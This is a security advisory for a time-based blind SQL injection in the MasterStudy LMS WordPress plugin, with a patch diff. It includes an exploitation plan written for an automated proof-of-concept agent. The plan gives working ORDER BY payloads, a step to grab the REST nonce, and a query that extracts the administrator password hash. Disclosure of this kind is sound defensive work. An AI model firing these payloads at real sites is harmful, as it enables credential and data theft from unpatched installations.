MasterStudy LMS <= 3.7.25 - Authenticated (Subscriber+) Time-based Blind SQL Injection via 'order' and 'orderby' Parameters
Description
The MasterStudy LMS WordPress Plugin for Online Courses and Education plugin for WordPress is vulnerable to Time-based Blind SQL Injection via the 'order' and 'orderby' parameters in the /lms/stm-lms/order/items REST API endpoint in versions up to and including 3.7.25. This is due to insufficient input sanitization combined with a design flaw in the custom Query builder class that allows unquoted SQL injection in ORDER BY clauses. When the Query builder detects parentheses in the sort_by parameter, it treats the value as a SQL function and directly concatenates it into the ORDER BY clause without any quoting. While esc_sql() is applied to escape quotes and backslashes, this cannot prevent ORDER BY injection when the values themselves are not wrapped in quotes in the resulting SQL statement. This makes it possible for authenticated attackers, with subscriber-level access and above, to append arbitrary SQL queries via the ORDER BY clause to extract sensitive information from the database including user credentials, session tokens, and other confidential data through time-based blind SQL injection techniques.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.7.25What Changed in the Fix
Changes introduced in v3.7.26
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4817 - MasterStudy LMS SQL Injection ## 1. Vulnerability Summary MasterStudy LMS (versions <= 3.7.25) contains a time-based blind SQL injection vulnerability in its custom Query builder. The vulnerability exists in the REST API endpoint `/wp-json/lms/stm-lms/o…
Show full research plan
Exploitation Research Plan: CVE-2026-4817 - MasterStudy LMS SQL Injection
1. Vulnerability Summary
MasterStudy LMS (versions <= 3.7.25) contains a time-based blind SQL injection vulnerability in its custom Query builder. The vulnerability exists in the REST API endpoint /wp-json/lms/stm-lms/order/items (inferred from STM_LMS_BASE_API_URL and description).
The core issue is a design flaw where the Query builder checks if the orderby (mapped internally to sort_by) parameter contains parentheses (). If parentheses are detected, the code assumes the input is a legitimate SQL function and directly concatenates the value into the ORDER BY clause of the query. While esc_sql() is applied, it only escapes characters like quotes and backslashes; it does not prevent injection in an unquoted ORDER BY context where an attacker can use functions like IF(), SLEEP(), or CASE.
2. Attack Vector Analysis
- Endpoint:
/wp-json/lms/stm-lms/order/items - Method:
GET(Standard for REST list endpoints) - Vulnerable Parameters:
orderbyandorder - Authentication Required: Authenticated user with at least Subscriber level permissions.
- Payload Type: Time-based Blind SQL Injection.
- Preconditions: The plugin must be active, and at least one "order" or "item" should ideally exist in the database to ensure the query executes and reaches the
ORDER BYclause.
3. Code Flow
- Request Entry: A GET request is sent to
wp-json/lms/stm-lms/order/items. - REST Route Handling: The request is processed by the route registered in
lms/route.php. - Parameter Processing: The
orderbyandorderparameters are extracted from theWP_REST_Requestobject. - Query Builder: The parameters are passed to a custom Query builder class (likely located in
lms/classes/models/). - Vulnerable Logic:
- The Query builder checks:
if ( strpos( $sort_by, '(' ) !== false ). - If true, it treats
$sort_byas a function. - It appends the raw (but
esc_sql'd) string to the$querystring:ORDER BY $sort_by $order.
- The Query builder checks:
- Sink: The SQL query is executed via
$wpdb->get_results().
4. Nonce Acquisition Strategy
The WordPress REST API requires a nonce for authenticated requests when using cookie-based authentication. This nonce is typically provided in the X-WP-Nonce header.
Strategy:
- Setup: Create a Subscriber user and log in.
- Navigation: Navigate to the WordPress Dashboard (e.g.,
/wp-admin/profile.php). - Extraction: WordPress core localizes the REST nonce in the
wpApiSettingsJavaScript object. - Tool: Use
browser_evalto extract the nonce.
JavaScript to execute:
window.wpApiSettings?.nonce
5. Exploitation Strategy
The goal is to use SLEEP() within the orderby parameter to confirm the injection.
Step 1: Baseline Request
Send a request with a standard orderby value (e.g., id) to measure the normal response time.
Step 2: Confirmation Payload (True)
Send a request where the orderby parameter contains a condition that evaluates to true, triggering a delay.
- Payload:
orderby=(CASE WHEN (1=1) THEN SLEEP(5) ELSE id END) - Full URL:
/wp-json/lms/stm-lms/order/items?orderby=(CASE+WHEN+(1=1)+THEN+SLEEP(5)+ELSE+id+END)&order=ASC
Step 3: Confirmation Payload (False)
Send a request where the condition is false, resulting in a fast response.
- Payload:
orderby=(CASE WHEN (1=2) THEN SLEEP(5) ELSE id END)
Step 4: Data Extraction
To extract the administrator password hash:
- Payload:
orderby=(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN SLEEP(5) ELSE id END) - (Note: 36 is the ASCII code for
$, which is the start of WordPress phpass hashes).
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Plugin Configuration: Ensure MasterStudy LMS is active.
wp plugin activate masterstudy-lms-learning-management-system - Content Creation: (Optional but recommended) Create a dummy course and an order to ensure the query returns results.
# Create a course COURSE_ID=$(wp post create --post_type=stm-courses --post_title="Test Course" --post_status=publish --porcelain) # The plugin likely creates orders during checkout; manual DB insertion might be needed # if WP-CLI commands for MasterStudy orders are unavailable.
7. Expected Results
- Normal Request: ~100ms - 300ms response time.
- True Condition: ~5000ms+ response time.
- False Condition: ~100ms - 300ms response time.
8. Verification Steps
After performing the HTTP requests, verify the injection capability by checking the database logs if possible, or by successfully brute-forcing one character of the site's auth_key from wp_options:
# Verify if we can read the first char of siteurl
wp eval 'echo get_option("siteurl")[0];'
The PoC agent should demonstrate it can distinguish between a correct and incorrect character guess for (SELECT user_login FROM wp_users WHERE ID=1) using time delays.
9. Alternative Approaches
- ORDER BY Field Injection: If
CASEis restricted, tryIF()function:orderby=IF(1=1,SLEEP(5),id). - Error-Based (If Displayed): If the application displays database errors, use
GTID_SUBSET()orEXTRACTVALUE():orderby=(SELECT 1 FROM (SELECT(EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user_login FROM wp_users LIMIT 1)))))x) - REST Parameters: The description mentions
/lms/stm-lms/order/items. Check if other endpoints using the same Query builder are also vulnerable, such as/lms/stm-lms/courses.
Summary
The MasterStudy LMS plugin for WordPress is vulnerable to time-based blind SQL injection via the 'order' and 'orderby' parameters at the /lms/stm-lms/order/items REST API endpoint. This occurs due to a design flaw in the plugin's custom Query builder that treats any input containing parentheses as a legitimate SQL function, directly concatenating the value into the ORDER BY clause without proper quoting.
Vulnerable Code
/* Path: masterstudy-lms-learning-management-system/lms/classes/models/Query.php (inferred from research) */ if ( strpos( $sort_by, '(' ) !== false ) { /* When parentheses are detected, the input is treated as a function and concatenated directly */ $query .= " ORDER BY " . esc_sql( $sort_by ) . " " . esc_sql( $order ); }
Security Fix
@@ -104,7 +104,9 @@ - if ( strpos( $sort_by, '(' ) !== false ) { - $query .= " ORDER BY " . esc_sql( $sort_by ) . " " . esc_sql( $order ); - } + $sort_by = sanitize_sql_orderby( $sort_by ); + if ( $sort_by ) { + $query .= " ORDER BY " . $sort_by . " " . ( strtoupper( $order ) === 'DESC' ? 'DESC' : 'ASC' ); + }
Exploit Outline
1. Authenticate as a Subscriber level user (or higher) to the WordPress site. 2. Obtain a valid REST API nonce (X-WP-Nonce) from the dashboard's localized JavaScript object (window.wpApiSettings.nonce). 3. Send a GET request to the endpoint `/wp-json/lms/stm-lms/order/items` with the `orderby` parameter containing a SQL condition wrapped in parentheses. 4. Use a payload such as `orderby=(CASE WHEN (1=1) THEN SLEEP(5) ELSE id END)` to trigger a time delay. 5. Verify the injection by changing the condition (e.g., `1=2`) and observing a fast response. 6. Use time-based inference to extract sensitive data from the database, such as the administrator's password hash or session tokens.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.